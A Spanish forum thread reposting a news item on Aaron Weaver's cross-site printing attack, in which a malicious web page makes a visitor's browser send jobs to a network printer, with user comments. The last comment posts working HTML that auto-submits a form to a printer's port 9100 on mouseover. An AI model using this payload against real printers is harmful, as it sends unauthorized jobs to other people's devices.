El spam puede colarse en tu impresora

[bootexe]

Los remitentes de mensajes no solicitados están en todas partes. En el correo electrónico, la mensajería instantánea, en el buzón de casa y, si nadie lo evita, próximamente también en tu impresora. Un experto en seguridad ha demostrado que se puede manipular una impresora de red para que imprima documentos que no has solicitado.

El descubridor de esta nueva puerta para el spam se llama Aaron Weaver. Según ha publicado PC World para imprimir en una impresora de red sin el permiso de su propietario es necesario que la víctima visite una página trucada para este fin, ya sea con Firefox o Internet Explorer.

El hacker enviaría entonces al ordenador de la víctima un código que le permitiría averiguar la dirección de red de su impresora (no funciona con dispositivos de impresión locales, conectados directamente al ordenador) y enviar un documento para que se imprima.

Aunque nadie había demostrado que realizar este peculiar envío de spam fuera posible, Weaver ha ha utilizado para su investigación conceptos bien conocidos por los expertos en seguridad. Los principales fabricantes de navegadores ya han sido informados del problema.

20minutos.es

Bien! y ahora que se ha demostrado que es posible... ¿que sigue? ¿ponerlo en prática? además ese truco es para quien visite una web, por lo que debo suponer que el spam por correo electrónico no será reemplazado porque es más efectivo, imagino que todos los internautas deben tener una cuenta de correo o más, que la pueden leer en cualquier momento y que en el caso de la impresora, ¿cuantos tienen una? o ¿cuantos dejan una impresora encendida? aunque su aplicación sería muy interesante, por lo menos, si se imprime algo, querrás saber lo que esta escrito

[AlvaroG]

Leí el PDF original, la simpleza del ataque es sorprendente.
Se van acabando los "recintos sagrados", los lugares en los que "no entra nada", aunque es gracias a las pequeñas cosas (contraseña en la impresora) que ya están ahí pero "no pasa nada si no están".

Lo voy a probar en la impresora del trabajo ;)

[dogduck]

Lo he probado y funciona.

Código:

<FORM ACTION='HTTP://172.14.0.34:9100' ID='MSGFORM' ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'>
<TEXTAREA NAME='MSG' ID='MSG' WRAP='NONE' ROWS='50' COLS='100'> 
PRINTER TEST.
                             zRbu
                          u$"    ^#Nu             .o@*>
                        dP          '#NL      .dP"    $
       :P""*Rbu       dP               '*b  d*   ue@> 4>
       4>.eu.  '"Nu d$                    $"  zP"  'R  R
       9 4>  ^#Nu  ^*u                  '#  dF      R  R
       9>'L      "N.                       #Nc      R  R
       4> R     .@"                           "$u   R  R
       'R R   .$  ...                    .d#"#Rc'$cJ> 4>
        $ 'B JF d"   '#k                @       #c"$  $
        'R ?W" $ x@**NL #r                .@*#*N.?r  JF
         9L   4 $     '$.                @"     #L` :$$.
          $c   @        $.              $        Rr  $'$.
         x$>   R         $             $         'R  4L'$.
        dF$   4>         'k           J>          B   R '$
       dF $   4>         $$r          $$$         $   $  'B
      JF  $   4L        8>$$         @$>$L        R   $   ?L
     :F   4>   R        $>$$$       d\$k$R       JF   $    $
     $    'k   #r       $$$$ $L    8"'$$$E       $    R    'k
    4>     $    $       9$$$  '#R*"   $$$>      $~   J>     $
    @      3L   'B      '$$F          R$$     x$NWu  $$$***$$>
    $  .@#" $   ud$u                       x@P"   "BJF
    $uP     '$ 8~   "$o.      .d$$bu...ud$#        $$
    '        '$$        """""`@$ $$R       uu.     $
              $$L             $$$$$F        9F$   $$r
            :$ '$L             #$$#        JP    $  $c
           xP    "b                      u$"   zP    $r
          :R       #b               sd*#"    x$       $
          $          #Nu                  .dR         'R
         d~          ..JR$o.          .u@$$$Weou.      $r
</TEXTAREA>
<INPUT TYPE=SUBMIT VALUE=SUBMIT onmouseover="submit();"></FORM>

salu2